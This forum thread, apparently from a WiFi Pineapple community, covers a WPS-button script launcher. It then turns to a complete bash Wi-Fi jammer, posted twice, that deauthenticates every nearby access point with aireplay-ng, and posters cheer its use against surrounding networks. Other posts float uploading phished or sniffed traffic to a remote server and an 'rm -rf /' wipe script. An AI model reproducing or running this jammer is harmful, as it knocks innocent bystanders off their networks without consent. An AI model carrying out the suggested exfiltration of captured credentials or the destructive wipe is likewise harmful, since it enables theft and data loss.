DAV Posted March 23, 2012 Share Posted March 23, 2012 Hi guys, i have created a nice little extension for the pineapple:) using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device! a single tap on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5) then a long press (more the 2 seconds) will execute the right script (and even play a nice led animation) to install, copy it to you pinapple, and run ./setWPS.sh enable check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute tell me what you think! :) WPS selector Quote Link to comment Share on other sites More sharing options...
killuminati Posted March 23, 2012 Share Posted March 23, 2012 Hi guys, i have created a nice little extension for the pineapple:) using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device! a single tap on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5) then a long press (more the 2 seconds) will execute the right script (and even play a nice led animation) to install, copy it to you pinapple, and run ./setWPS.sh enable check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute tell me what you think! :) WPS selector Sounds sick! Checking this first thing when I wake up! ;D Quote Link to comment Share on other sites More sharing options...
abo al-7roof Posted March 23, 2012 Share Posted March 23, 2012 Hi guys, i have created a nice little extension for the pineapple:) using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device! a single tap on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5) then a long press (more the 2 seconds) will execute the right script (and even play a nice led animation) to install, copy it to you pinapple, and run ./setWPS.sh enable check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute tell me what you think! :) WPS selector hi im new here, so can u please tell me if i got it right or not 1- unzip the file 2- copy it to root 3- installing stewps.sh using putty by the command "opkg install" dud i get it right? Quote Link to comment Share on other sites More sharing options...
DAV Posted March 23, 2012 Author Share Posted March 23, 2012 you don't need to use opkg. just unzip the file to where you want to install it (lets say it's /www/pineapple/user) so it should look something like this: cd /www/pineapple/user/wpsSelector ./setWPS.sh enable that's it Quote Link to comment Share on other sites More sharing options...
abo al-7roof Posted March 23, 2012 Share Posted March 23, 2012 you don't need to use opkg. just unzip the file to where you want to install it (lets say it's /www/pineapple/user) so it should look something like this: cd /www/pineapple/user/wpsSelector ./setWPS.sh enable that's it im trying, but i cant. it just gives me "permission denied" message Quote Link to comment Share on other sites More sharing options...
pewpew Posted March 24, 2012 Share Posted March 24, 2012 im trying, but i cant. it just gives me "permission denied" message need to make the script executable first. run chmod 777 ./setWPS.sh then it should work ;) Quote Link to comment Share on other sites More sharing options...
telot Posted March 24, 2012 Share Posted March 24, 2012 Hi guys, i have created a nice little extension for the pineapple:) using the WPS button, you can select among 16 different scripts to execute, and run them without logging in to the device! a single tap on the WPS button will browse through the options, and will use the leds as indicators (it uses binary form, using 4 leds -- > 0101 means option no. 5) then a long press (more the 2 seconds) will execute the right script (and even play a nice led animation) to install, copy it to you pinapple, and run ./setWPS.sh enable check out the _settings.conf and _execute.sh to control some parameters, and insert the scripts you wish to execute tell me what you think! :) WPS selector LEDs for indication FTW! Thank you so much DAV for coding this up - can't wait to try it out. telot Quote Link to comment Share on other sites More sharing options...
Whistle Master Posted March 24, 2012 Share Posted March 24, 2012 Nice idea to select the option with single press and use the LED as indicators! Good job! Quote Link to comment Share on other sites More sharing options...
DAV Posted March 25, 2012 Author Share Posted March 25, 2012 dudes, have someone tried it yet? i want to hear your feedback :) Quote Link to comment Share on other sites More sharing options...
telot Posted March 25, 2012 Share Posted March 25, 2012 dudes, have someone tried it yet? i want to hear your feedback :) I think what will spur people to action is to come up with ideas for so many scripts. Right now I just haven't seen the need for so many scripts. I've got the Buttons package (by Whistlemaster) configured to toggle DNS spoof on two seconds of pressing, and to turn off all the lights and start tcpdump (my led verification that tcpdump is now running is the lights going out) on four to six seconds. I really don't have much need for scripts beyond that. I'm using an external cellular router, so theres no 3G dongle to configure or need for reverse ssh shell (I just forward port 22 to the pineapple on the router and ssh right in easy mode style). So lets brainstorm some script ideas by button press: Change the dns spoof page between nyancat and rickroll would be cool One to start airdrop'ing would be very cool - though airdropping is currently not working on the mark4 A script to scp your tcpdump file to a remote predefined server would be very handy A script to upload your phished/ngrep'd/urlsnarf'd stuff up to a remote server - all at once or individually Maybe a nuker script that rm -rf's / in case you're in a jam or something :) Lets hear some other ideas to inspire people to try out DAVs binary script! I know I will be trying it for the tcpdump file upload today :) telot Quote Link to comment Share on other sites More sharing options...
DAV Posted March 25, 2012 Author Share Posted March 25, 2012 I built a little wifi jammer using aireplay deauth, it kills all wifi in the immidiate area..:) killing it with the wps button. Uploading stuff is quite a good idea! Let me think about some cool applications to that:) Quote Link to comment Share on other sites More sharing options...
telot Posted March 25, 2012 Share Posted March 25, 2012 I built a little wifi jammer using aireplay deauth, it kills all wifi in the immidiate area..:) killing it with the wps button. Uploading stuff is quite a good idea! Let me think about some cool applications to that:) Excellent DAV! My noob ass always had problems piping airodump-ng's results. Would you mind sharing your deauth script? I'd love to test it out telot Quote Link to comment Share on other sites More sharing options...
DAV Posted March 26, 2012 Author Share Posted March 26, 2012 this is my jammer code, works nicely.. :) #!/bin/bash INTERFACE=wlan0 MON_INTERFACE=mon.wlan0 AMOUNT=10000 if [ "$#" -ne "1" ]; then echo "Jammer:" echo "usage: ./jam.sh [ start | stop ]" exit 0 fi if [ "$1" == "start" ] then killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & ifconfig $INTERFACE down ifconfig $INTERFACE up for i in `iwlist $INTERFACE scan | grep Address | sed 's/^ *//g' | cut -d" " -f5`; do echo "Jamming ${i}" aireplay-ng -0 $AMOUNT --ignore-negative-one -D -a ${i} $MON_INTERFACE & done fi if [ "$1" == "stop" ] then killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & echo "disabled" fi Quote Link to comment Share on other sites More sharing options...
telot Posted March 26, 2012 Share Posted March 26, 2012 (edited) Thanks DAV! Can't wait to try it out! ^me after running this script EDIT: I tried it and thank you for putting the default amount over 9000. I like my surrounding APs nuked into oblivion. This script would be perfect when connecting two pineapples together...or if I can get my damn alfa awus036h working on the mark4...and to do this of course we'd have to work in a whitelist to the script so it doesn't take down the attacking pineapple. telot Edited March 26, 2012 by telot Quote Link to comment Share on other sites More sharing options...
DAV Posted March 27, 2012 Author Share Posted March 27, 2012 Haha:) It should be pretty easy to add a whitelist, will try it:) Quote Link to comment Share on other sites More sharing options...
abxy007 Posted May 19, 2012 Share Posted May 19, 2012 this is my jammer code, works nicely.. :) #!/bin/bash INTERFACE=wlan0 MON_INTERFACE=mon.wlan0 AMOUNT=10000 if [ "$#" -ne "1" ]; then echo "Jammer:" echo "usage: ./jam.sh [ start | stop ]" exit 0 fi if [ "$1" == "start" ] then killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & ifconfig $INTERFACE down ifconfig $INTERFACE up for i in `iwlist $INTERFACE scan | grep Address | sed 's/^ *//g' | cut -d" " -f5`; do echo "Jamming ${i}" aireplay-ng -0 $AMOUNT --ignore-negative-one -D -a ${i} $MON_INTERFACE & done fi if [ "$1" == "stop" ] then killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & killall aireplay-ng 2> /dev/null & echo "disabled" fi how do i set up your code? Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.